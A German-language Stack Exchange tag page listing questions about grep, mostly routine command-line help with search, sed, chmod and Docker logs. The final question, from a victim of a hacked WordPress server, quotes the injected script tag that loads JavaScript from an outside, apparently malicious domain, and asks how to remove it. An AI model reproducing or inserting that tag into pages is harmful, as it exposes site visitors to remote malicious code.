Als «grep» getaggte Fragen

grep ist ein Befehlszeilen-Textsuchdienstprogramm, das ursprünglich für Unix geschrieben wurde. Es verwendet reguläre Ausdrücke, um Text abzugleichen, und wird häufig als Filter in Pipelines verwendet. Verwenden Sie dieses Tag nur, wenn sich Ihre Frage auf die Programmierung mit grep oder grep-basierten APIs bezieht. Fragen zur Verwendung oder Fehlerbehebung von grep-Befehlszeilenoptionen selbst sind nicht zum Thema.

12
Schnellster grep
Gesperrt . Diese Frage und ihre Antworten sind gesperrt, da die Frage nicht zum Thema gehört, aber historische Bedeutung hat. Derzeit werden keine neuen Antworten oder Interaktionen akzeptiert. Ich würde gerne wissen, ob es einen Tipp gibt, den man grepso schnell wie möglich machen kann. Ich habe eine ziemlich große …
80 bash  unix  grep 

8
Globales Suchen und Ersetzen der Linux-Befehlszeile
Ich versuche, eine Zeichenfolge in allen Dateien zu suchen und zu ersetzen, die mit grep auf einem Linux-Computer übereinstimmen. Ich habe einige Teile von dem, was ich tun möchte, bin mir aber nicht sicher, wie ich sie am besten aneinander reihen soll. grep -n 'foo' * wird mir Ausgabe in …
80 linux  sed  awk  grep 

6
Wie zeige ich die geänderte Uhrzeit mit dem Befehl 'find' an?
Mit einem findBefehl kann ich Verzeichnisnamen mit mehreren Ebenen anzeigen. Der folgende Befehl zeigt alle Verzeichnisse unter /varPfad mit einer Tiefe von 2 an: find /var -maxdepth 2 -type d; Das Ergebnis zeigt: /var /var/log /var/log/sssd /var/log/samba /var/log/audit /var/log/ConsoleKit /var/log/gdm /var/log/sa Mit einem statBefehl kann ich das geänderte Datum und …

7
Wie greife ich nach Inhalten nach Mustern?
Bei einer gegebenen Datei zum Beispiel: potato: 1234 apple: 5678 potato: 5432 grape: 4567 banana: 5432 sushi: 56789 Ich möchte nach allen Zeilen suchen, die mit beginnen, potato:aber nur die folgenden Zahlen weiterleiten potato:. Im obigen Beispiel wäre die Ausgabe also: 1234 5432 Wie kann ich das machen?
79 linux  grep 

7
Grep und Python
Ich brauche eine Möglichkeit, eine Datei mit grep über einen regulären Ausdruck in der Unix-Befehlszeile zu durchsuchen. Zum Beispiel, wenn ich in die Befehlszeile eingebe: python pythonfile.py 'RE' 'file-to-be-searched' Ich brauche den regulären Ausdruck 'RE', um in der Datei gesucht zu werden und die passenden Zeilen auszudrucken. Hier ist der …
78 python  regex  grep 

2
Wie kann ich in einer Datei nach Zeichenfolgen suchen, bei denen die Groß- und Kleinschreibung nicht berücksichtigt wird?
Ich habe eine Datei, file1die mit Success...ODER endet success... Ich möchte grepfür das Wort successauf eine Weise, die nicht zwischen Groß- und Kleinschreibung unterscheidet. Ich habe den folgenden Befehl geschrieben, aber es wird zwischen Groß- und Kleinschreibung unterschieden cat file1 | grep "success\.\.\." Wie kann ich es so ändern, dass …
78 bash  shell  awk  sed  grep 


5
Wie benutzt man grep, um etwas direkt nach `name =` zu bekommen?
Ich versuche nicht, irgendetwas gleich danach zu erfassen name=, sondern nur Leerzeichen und alphanumerische Zeichen. z.B: name=some value here Ich bekomme some value here Ich bin total neu in diesem Bereich, der folgende Grep passt zu allem, einschließlich dem name=. grep 'name=.*' filename Jede Hilfe wird sehr geschätzt.
74 regex  bash  grep 


5
Ändern von chmod für Dateien, aber nicht für Verzeichnisse
Ich muss chmod verwenden, um alle Dateien rekursiv auf 664 zu ändern. Ich möchte die Ordner überspringen. Ich dachte daran, so etwas zu tun ls -lR | grep ^-r | chmod 664 Das funktioniert nicht, nehme ich an, weil ich nicht in chmod pfeifen kann. Kennt jemand einen einfachen Weg, …
72 unix  grep  chmod 

8
Suchen einer Zeichenfolge in Docker-Protokollen des Containers
Was ist der beste Weg, um eine bestimmte Zeichenfolge in den Protokollen eines Docker-Containers zu finden? Angenommen, ich möchte alle Anfragen sehen, die im Docker-Image "nginx" gestellt werden, das von einer IP stammt, die mit "127" beginnt. grep funktioniert nicht wie erwartet mit dem Docker-Protokollbefehl: docker logs nginx | grep …
72 docker  grep 

7
So ersetzen Sie die gesamte Zeichenfolge mit sed oder möglicherweise grep
Also wurde mein ganzer Server gehackt oder bekam das Malware-Problem. Meine Website basiert auf WordPress und die meisten auf meinem Server gehosteten Websites basieren auf WordPress. Der Hacker fügte diese Codezeile jeder einzelnen Datei und Datenbank hinzu <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Ich habe es über grep mit gesucht grep -r "trasnaltemyrecords" …
10 bash  shell  sed  grep 
Durch die Nutzung unserer Website bestätigen Sie, dass Sie unsere Cookie-Richtlinie und Datenschutzrichtlinie gelesen und verstanden haben.
Licensed under cc by-sa 3.0 with attribution required.